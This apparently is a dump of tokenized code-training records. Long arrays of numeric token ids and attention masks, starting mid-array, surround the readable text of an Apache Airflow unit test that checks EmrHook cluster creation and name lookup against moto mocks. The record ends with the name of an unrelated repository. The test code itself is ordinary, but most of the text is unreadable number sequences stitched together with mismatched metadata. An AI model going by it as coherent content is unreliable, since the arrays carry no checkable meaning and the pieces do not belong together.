1782, 63, 5087, 8, 277, 12, 8985, 63, 1100, 12, 1011, 958, 304, 267, 408, 7788, 4145, 2243, 2436, 1041, 267, 6631, 63, 344, 275, 2074, 14, 362, 360, 4054, 63, 344, 358, 267, 2243, 275, 2074, 14, 362, 360, 1782, 358, 267, 5051, 14, 1757, 6115, 2510, 2818, 1782, 9, 83, 2436, 5839, 701, 6631, 298, 490, 11792, 4054, 63, 344, 9, 83, 1288, 2116, 791, 1782, 356, 2243, 12, 283, 4054, 63, 344, 356, 6631, 63, 344, 1552, 267, 1844, 63, 344, 275, 291, 423, 1782, 63, 475, 63, 719, 63, 344, 8, 1782, 9, 398, 2351, 275, 1592, 63, 1246, 14, 362, 63, 1730, 342, 267, 543, 2351, 14, 5037, 8, 954, 13754, 29, 549, 304, 288, 1844, 275, 1592, 14, 362, 63, 719, 8, 1730, 12, 1844, 63, 344, 9, 288, 340, 440, 1844, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 440, 1911, 315, 3050, 1288, 1169, 791, 1782, 356, 2243, 12, 283, 4054, 63, 344, 356, 6631, 63, 344, 1552, 355, 372, 791, 1782, 356, 2243, 93, 953, 11998, 275, 1592, 14, 362, 63, 1200, 63, 13879, 8, 1730, 12, 1844, 14, 1200, 63, 344, 9, 288, 340, 440, 11998, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 965, 2784, 2818, 1200, 63, 344, 9, 83, 543, 298, 2892, 298, 889, 11998, 1288, 1169, 791, 1782, 356, 2243, 12, 2490, 283, 4054, 63, 344, 356, 6631, 63, 344, 12, 2490, 283, 1200, 63, 344, 356, 1844, 14, 1200, 63, 344, 1552, 355, 372, 791, 1782, 356, 2243, 93, 953, 11696, 275, 1592, 14, 7505, 63, 719, 63, 9140, 8, 1730, 12, 1844, 14, 344, 9, 288, 340, 440, 11696, 14, 9255, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 641, 2784, 2818, 1200, 63, 344, 9 ]
[ 1898, 334, 67, 9, 6171, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 11258, 492, 30429, 199, 199, 504, 8224, 14, 4054, 492, 6391, 2634, 63, 4354, 465, 12578, 63, 4354, 199, 504, 8224, 14, 2330, 492, 5262, 465, 1894, 63, 1297, 199, 504, 8224, 14, 2330, 492, 8985, 199, 504, 8224, 14, 2330, 492, 17398, 199, 504, 8224, 14, 697, 492, 2986, 465, 1592, 63, 1246, 199, 504, 8224, 14, 697, 492, 19064, 63, 4354, 63, 1095, 199, 504, 8224, 14, 697, 492, 6391, 2634, 63, 4354, 63, 1095, 465, 12578, 63, 697, 63, 4354, 199, 504, 8224, 492, 5256, 199, 504, 8224, 14, 8512, 14, 2330, 492, 943, 199, 504, 8224, 14, 8512, 14, 2330, 492, 5377, 1208, 199, 504, 8224, 14, 5265, 14, 757, 18, 492, 1592, 199, 504, 8224, 14, 5265, 14, 757, 18, 492, 5253, 63, 1246, 465, 2986, 199, 504, 8224, 14, 5265, 14, 757, 18, 14, 13337, 492, 730, 63, 15360, 199, 3, 5363, 11793, 649, 8, 75, 6415, 351, 89, 304, 9812, 314, 730, 436, 14729, 19016, 370, 17169, 314, 199, 3, 13667, 3617, 436, 21356, 2813, 314, 4125, 5124, 641, 730, 63, 15360, 14, 199, 199, 4947, 275, 943, 14, 5572, 3460, 354, 3368, 199, 199, 52, 1282, 63, 10555, 63, 6351, 275, 283, 16609, 7, 199, 52, 1282, 63, 10555, 63, 6351, 63, 9127, 275, 650, 421, 199, 533, 820, 2352, 17958, 8, 10801, 63, 4354, 63, 1095, 14, 36, 14968, 15569, 2806, 4256, 12, 673, 12578, 63, 697, 63, 4354, 14, 19280, 3120, 15569, 2806, 4256, 12, 673, 730, 63, 15360, 14, 22664, 2715, 15569, 2806, 4256, 304, 339, 1347, 275, 30429, 14, 4277, 8, 1023, 534, 17, 14, 17, 358, 272, 327, 7994, 272, 327, 257, 413, 14, 16, 6026, 1015, 334, 504, 1551, 23201, 15, 472, 85, 1774, 5562, 9, 272, 327, 257, 413, 14, 17, 12502, 13863, 5611, 11785, 339, 768, 3744, 272, 347, 485, 1782, 63, 475, 63, 719, 63, 344, 8, 1886, 12, 2243, 304, 267, 327, 5363, 11793, 649, 8, 23992, 3210, 12417, 304, 24413, 6358, 1901, 3194, 11993, 6158, 83, 370, 267, 327, 2112, 2243, 1561, 12, 503, 9445, 3194, 11993, 6158, 83, 17169, 769, 267, 327, 402, 2243, 13158, 370, 6202, 14, 267, 340, 2243, 14, 2460, 8, 52, 1282, 63, 10555, 63, 6351, 304, 288, 372, 2243, 59, 52, 1282, 63, 10555, 63, 6351, 63, 9127, 2938, 267, 587, 26, 288, 327, 5363, 11793, 649, 8, 73, 828, 371, 304, 24413, 6358, 1901, 3914, 15830, 370, 288, 327, 2429, 314, 664, 63, 1782, 63, 5087, 11785, 12, 2066, 2813, 314, 283, 2836, 7, 8502, 288, 340, 440, 5377, 1208, 14, 374, 63, 2580, 63, 2930, 8, 1782, 304, 355, 1844, 275, 1592, 14, 362, 63, 719, 63, 504, 63, 1782, 63, 3088, 8, 1782, 9, 355, 340, 1844, 26, 490, 372, 1844, 14, 344, 267, 372, 2243, 339, 768, 3744, 272, 347, 664, 63, 719, 63, 504, 63, 1782, 8, 1886, 12, 2243, 304, 267, 1844, 63, 344, 275, 843, 423, 1782, 63, 475, 63, 719, 63, 344, 8, 1782, 9, 267, 1844, 275, 1592, 14, 362, 63, 719, 63, 460, 63, 83, 458, 8, 719, 63, 344, 9, 267, 340, 1844, 26, 288, 1844, 459, 1782, 418, 275, 2243, 267, 372, 1844, 339, 347, 664, 63, 1782, 63, 5087, 8, 277, 12, 8985, 63, 1100, 12, 1011, 958, 304, 267, 408, 7788, 4145, 2243, 2436, 1041, 267, 6631, 63, 344, 275, 2074, 14, 362, 360, 4054, 63, 344, 358, 267, 2243, 275, 2074, 14, 362, 360, 1782, 358, 267, 5051, 14, 1757, 6115, 2510, 2818, 1782, 9, 83, 2436, 5839, 701, 6631, 298, 490, 11792, 4054, 63, 344, 9, 83, 1288, 2116, 791, 1782, 356, 2243, 12, 283, 4054, 63, 344, 356, 6631, 63, 344, 1552, 267, 1844, 63, 344, 275, 291, 423, 1782, 63, 475, 63, 719, 63, 344, 8, 1782, 9, 398, 2351, 275, 1592, 63, 1246, 14, 362, 63, 1730, 342, 267, 543, 2351, 14, 5037, 8, 954, 13754, 29, 549, 304, 288, 1844, 275, 1592, 14, 362, 63, 719, 8, 1730, 12, 1844, 63, 344, 9, 288, 340, 440, 1844, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 440, 1911, 315, 3050, 1288, 1169, 791, 1782, 356, 2243, 12, 283, 4054, 63, 344, 356, 6631, 63, 344, 1552, 355, 372, 791, 1782, 356, 2243, 93, 953, 11998, 275, 1592, 14, 362, 63, 1200, 63, 13879, 8, 1730, 12, 1844, 14, 1200, 63, 344, 9, 288, 340, 440, 11998, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 965, 2784, 2818, 1200, 63, 344, 9, 83, 543, 298, 2892, 298, 889, 11998, 1288, 1169, 791, 1782, 356, 2243, 12, 2490, 283, 4054, 63, 344, 356, 6631, 63, 344, 12, 2490, 283, 1200, 63, 344, 356, 1844, 14, 1200, 63, 344, 1552, 355, 372, 791, 1782, 356, 2243, 93, 953, 11696, 275, 1592, 14, 7505, 63, 719, 63, 9140, 8, 1730, 12, 1844, 14, 344, 9, 288, 340, 440, 11696, 14, 9255, 26, 355, 5051, 14, 3764, 6115, 2510, 2818, 1782, 9, 83, 5839, 701, 6631, 298, 2892, 11792, 4054, 63, 344, 9, 83, 641, 2784, 2818, 1200, 63, 344, 9, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
apache/incubator-airflow
tests/providers/amazon/aws/hooks/test_emr.py
7
3319
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import unittest import boto3 from airflow.providers.amazon.aws.hooks.emr import EmrHook try: from moto import mock_emr except ImportError: mock_emr = None @unittest.skipIf(mock_emr is None, 'moto package not present') class TestEmrHook(unittest.TestCase): @mock_emr def test_get_conn_returns_a_boto3_connection(self): hook = EmrHook(aws_conn_id='aws_default', region_name='ap-southeast-2') self.assertIsNotNone(hook.get_conn().list_clusters()) @mock_emr def test_create_job_flow_uses_the_emr_config_to_create_a_cluster(self): client = boto3.client('emr', region_name='us-east-1') hook = EmrHook(aws_conn_id='aws_default', emr_conn_id='emr_default') cluster = hook.create_job_flow({'Name': 'test_cluster'}) self.assertEqual(client.list_clusters()['Clusters'][0]['Id'], cluster['JobFlowId']) @mock_emr def test_create_job_flow_extra_args(self): """ Test that we can add extra arguments to the launch call. This is useful for when AWS add new options, such as "SecurityConfiguration" so that we don't have to change our code """ client = boto3.client('emr', region_name='us-east-1') hook = EmrHook(aws_conn_id='aws_default', emr_conn_id='emr_default') # AmiVersion is really old and almost no one will use it anymore, but # it's one of the "optional" request params that moto supports - it's # coverage of EMR isn't 100% it turns out. cluster = hook.create_job_flow({'Name': 'test_cluster', 'ReleaseLabel': '', 'AmiVersion': '3.2'}) cluster = client.describe_cluster(ClusterId=cluster['JobFlowId'])['Cluster'] # The AmiVersion comes back as {Requested,Running}AmiVersion fields. self.assertEqual(cluster['RequestedAmiVersion'], '3.2') @mock_emr def test_get_cluster_id_by_name(self): """ Test that we can resolve cluster id by cluster name. """ hook = EmrHook(aws_conn_id='aws_default', emr_conn_id='emr_default') job_flow = hook.create_job_flow( {'Name': 'test_cluster', 'Instances': {'KeepJobFlowAliveWhenNoSteps': True}} ) job_flow_id = job_flow['JobFlowId'] matching_cluster = hook.get_cluster_id_by_name('test_cluster', ['RUNNING', 'WAITING']) self.assertEqual(matching_cluster, job_flow_id) no_match = hook.get_cluster_id_by_name('foo', ['RUNNING', 'WAITING', 'BOOTSTRAPPING']) self.assertIsNone(no_match)
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 2882, 199, 199, 646, 6055, 19, 199, 199, 504, 16321, 14, 9710, 14, 15144, 14, 7231, 14, 7922, 14, 5633, 82, 492, 662, 13118, 8481, 199, 199, 893, 26, 272, 687, 333, 3459, 492, 1683, 63, 5633, 82, 199, 2590, 3545, 26, 272, 1683, 63, 5633, 82, 275, 488, 421, 199, 32, 2796, 14, 15118, 8, 1805, 63, 5633, 82, 365, 488, 12, 283, 77, 3459, 2559, 440, 3451, 358, 199, 533, 1379, 37, 13118, 8481, 8, 2796, 14, 1746, 304, 272, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 362, 63, 1631, 63, 5808, 63, 65, 63, 10914, 19, 63, 2105, 8, 277, 304, 267, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 4897, 63, 354, 534, 439, 13, 22607, 14346, 13, 18, 358, 267, 291, 14, 10389, 8, 3664, 14, 362, 63, 1631, 1252, 513, 63, 9170, 1012, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 981, 63, 2423, 63, 1659, 63, 5589, 63, 1589, 63, 5633, 82, 63, 888, 63, 475, 63, 981, 63, 65, 63, 4201, 8, 277, 304, 267, 1890, 275, 6055, 19, 14, 1258, 360, 5633, 82, 297, 4897, 63, 354, 534, 527, 13, 14346, 13, 17, 358, 398, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 267, 4350, 275, 5759, 14, 981, 63, 2423, 63, 1659, 3252, 985, 356, 283, 396, 63, 4201, 3071, 398, 291, 14, 629, 8, 1258, 14, 513, 63, 9170, 12047, 1968, 6811, 3488, 16, 2733, 1304, 995, 4350, 459, 6694, 5060, 1304, 1105, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 981, 63, 2423, 63, 1659, 63, 2911, 63, 589, 8, 277, 304, 267, 408, 267, 1379, 626, 781, 883, 1050, 2402, 2368, 370, 314, 10623, 1240, 14, 398, 961, 365, 2997, 367, 1380, 10168, 1050, 892, 1511, 12, 4066, 465, 267, 298, 7676, 5688, 2, 880, 626, 781, 2793, 1133, 1172, 370, 1570, 4154, 1233, 267, 408, 267, 1890, 275, 6055, 19, 14, 1258, 360, 5633, 82, 297, 4897, 63, 354, 534, 527, 13, 14346, 13, 17, 358, 398, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 267, 327, 437, 2664, 3353, 365, 7710, 2269, 436, 18871, 949, 1373, 911, 675, 652, 20827, 12, 1325, 267, 327, 652, 1159, 1373, 402, 314, 298, 4144, 2, 1056, 1862, 626, 333, 3459, 5171, 446, 652, 1159, 267, 327, 11745, 402, 662, 22153, 5712, 1133, 2948, 5, 652, 25449, 734, 14, 267, 4350, 275, 5759, 14, 981, 63, 2423, 63, 1659, 3252, 985, 356, 283, 396, 63, 4201, 297, 283, 9625, 4314, 356, 3260, 283, 33, 2664, 3353, 356, 283, 19, 14, 18, 3071, 398, 4350, 275, 1890, 14, 11935, 63, 4201, 8, 9581, 1304, 29, 4201, 459, 6694, 5060, 1304, 1105, 459, 9581, 418, 398, 327, 710, 437, 2664, 3353, 12477, 1771, 465, 469, 17935, 12, 9602, 93, 33, 2664, 3353, 1504, 14, 267, 291, 14, 629, 8, 4201, 459, 17935, 33, 2664, 3353, 995, 283, 19, 14, 18, 358, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 8, 277, 304, 267, 408, 267, 1379, 626, 781, 883, 7512, 4350, 1305, 701, 4350, 536, 14, 267, 408, 267, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 398, 3906, 63, 1659, 275, 5759, 14, 981, 63, 2423, 63, 1659, 8, 288, 791, 985, 356, 283, 396, 63, 4201, 297, 283, 18194, 356, 791, 18567, 6694, 5060, 23692, 11423, 1944, 20960, 356, 715, 4863, 267, 776, 398, 3906, 63, 1659, 63, 344, 275, 3906, 63, 1659, 459, 6694, 5060, 1304, 418, 398, 4877, 63, 4201, 275, 5759, 14, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 360, 396, 63, 4201, 297, 788, 17305, 297, 283, 12458, 1206, 1105, 398, 291, 14, 629, 8, 9467, 63, 4201, 12, 3906, 63, 1659, 63, 344, 9, 398, 949, 63, 1431, 275, 5759, 14, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 360, 1421, 297, 788, 17305, 297, 283, 12458, 1206, 297, 283, 22679, 3027, 7121, 1206, 1105, 398, 291, 14, 7702, 8, 889, 63, 1431, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 2882, 199, 199, 646, 6055, 19, 199, 199, 504, 16321, 14, 9710, 14, 15144, 14, 7231, 14, 7922, 14, 5633, 82, 492, 662, 13118, 8481, 199, 199, 893, 26, 272, 687, 333, 3459, 492, 1683, 63, 5633, 82, 199, 2590, 3545, 26, 272, 1683, 63, 5633, 82, 275, 488, 421, 199, 32, 2796, 14, 15118, 8, 1805, 63, 5633, 82, 365, 488, 12, 283, 77, 3459, 2559, 440, 3451, 358, 199, 533, 1379, 37, 13118, 8481, 8, 2796, 14, 1746, 304, 272, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 362, 63, 1631, 63, 5808, 63, 65, 63, 10914, 19, 63, 2105, 8, 277, 304, 267, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 4897, 63, 354, 534, 439, 13, 22607, 14346, 13, 18, 358, 267, 291, 14, 10389, 8, 3664, 14, 362, 63, 1631, 1252, 513, 63, 9170, 1012, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 981, 63, 2423, 63, 1659, 63, 5589, 63, 1589, 63, 5633, 82, 63, 888, 63, 475, 63, 981, 63, 65, 63, 4201, 8, 277, 304, 267, 1890, 275, 6055, 19, 14, 1258, 360, 5633, 82, 297, 4897, 63, 354, 534, 527, 13, 14346, 13, 17, 358, 398, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 267, 4350, 275, 5759, 14, 981, 63, 2423, 63, 1659, 3252, 985, 356, 283, 396, 63, 4201, 3071, 398, 291, 14, 629, 8, 1258, 14, 513, 63, 9170, 12047, 1968, 6811, 3488, 16, 2733, 1304, 995, 4350, 459, 6694, 5060, 1304, 1105, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 981, 63, 2423, 63, 1659, 63, 2911, 63, 589, 8, 277, 304, 267, 408, 267, 1379, 626, 781, 883, 1050, 2402, 2368, 370, 314, 10623, 1240, 14, 398, 961, 365, 2997, 367, 1380, 10168, 1050, 892, 1511, 12, 4066, 465, 267, 298, 7676, 5688, 2, 880, 626, 781, 2793, 1133, 1172, 370, 1570, 4154, 1233, 267, 408, 267, 1890, 275, 6055, 19, 14, 1258, 360, 5633, 82, 297, 4897, 63, 354, 534, 527, 13, 14346, 13, 17, 358, 398, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 267, 327, 437, 2664, 3353, 365, 7710, 2269, 436, 18871, 949, 1373, 911, 675, 652, 20827, 12, 1325, 267, 327, 652, 1159, 1373, 402, 314, 298, 4144, 2, 1056, 1862, 626, 333, 3459, 5171, 446, 652, 1159, 267, 327, 11745, 402, 662, 22153, 5712, 1133, 2948, 5, 652, 25449, 734, 14, 267, 4350, 275, 5759, 14, 981, 63, 2423, 63, 1659, 3252, 985, 356, 283, 396, 63, 4201, 297, 283, 9625, 4314, 356, 3260, 283, 33, 2664, 3353, 356, 283, 19, 14, 18, 3071, 398, 4350, 275, 1890, 14, 11935, 63, 4201, 8, 9581, 1304, 29, 4201, 459, 6694, 5060, 1304, 1105, 459, 9581, 418, 398, 327, 710, 437, 2664, 3353, 12477, 1771, 465, 469, 17935, 12, 9602, 93, 33, 2664, 3353, 1504, 14, 267, 291, 14, 629, 8, 4201, 459, 17935, 33, 2664, 3353, 995, 283, 19, 14, 18, 358, 339, 768, 1805, 63, 5633, 82, 272, 347, 511, 63, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 8, 277, 304, 267, 408, 267, 1379, 626, 781, 883, 7512, 4350, 1305, 701, 4350, 536, 14, 267, 408, 267, 5759, 275, 662, 13118, 8481, 8, 7231, 63, 1631, 63, 344, 534, 7231, 63, 885, 297, 325, 13118, 63, 1631, 63, 344, 534, 5633, 82, 63, 885, 358, 398, 3906, 63, 1659, 275, 5759, 14, 981, 63, 2423, 63, 1659, 8, 288, 791, 985, 356, 283, 396, 63, 4201, 297, 283, 18194, 356, 791, 18567, 6694, 5060, 23692, 11423, 1944, 20960, 356, 715, 4863, 267, 776, 398, 3906, 63, 1659, 63, 344, 275, 3906, 63, 1659, 459, 6694, 5060, 1304, 418, 398, 4877, 63, 4201, 275, 5759, 14, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 360, 396, 63, 4201, 297, 788, 17305, 297, 283, 12458, 1206, 1105, 398, 291, 14, 629, 8, 9467, 63, 4201, 12, 3906, 63, 1659, 63, 344, 9, 398, 949, 63, 1431, 275, 5759, 14, 362, 63, 4201, 63, 344, 63, 991, 63, 354, 360, 1421, 297, 788, 17305, 297, 283, 12458, 1206, 297, 283, 22679, 3027, 7121, 1206, 1105, 398, 291, 14, 7702, 8, 889, 63, 1431, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rev2004/android2cloud.app-engine
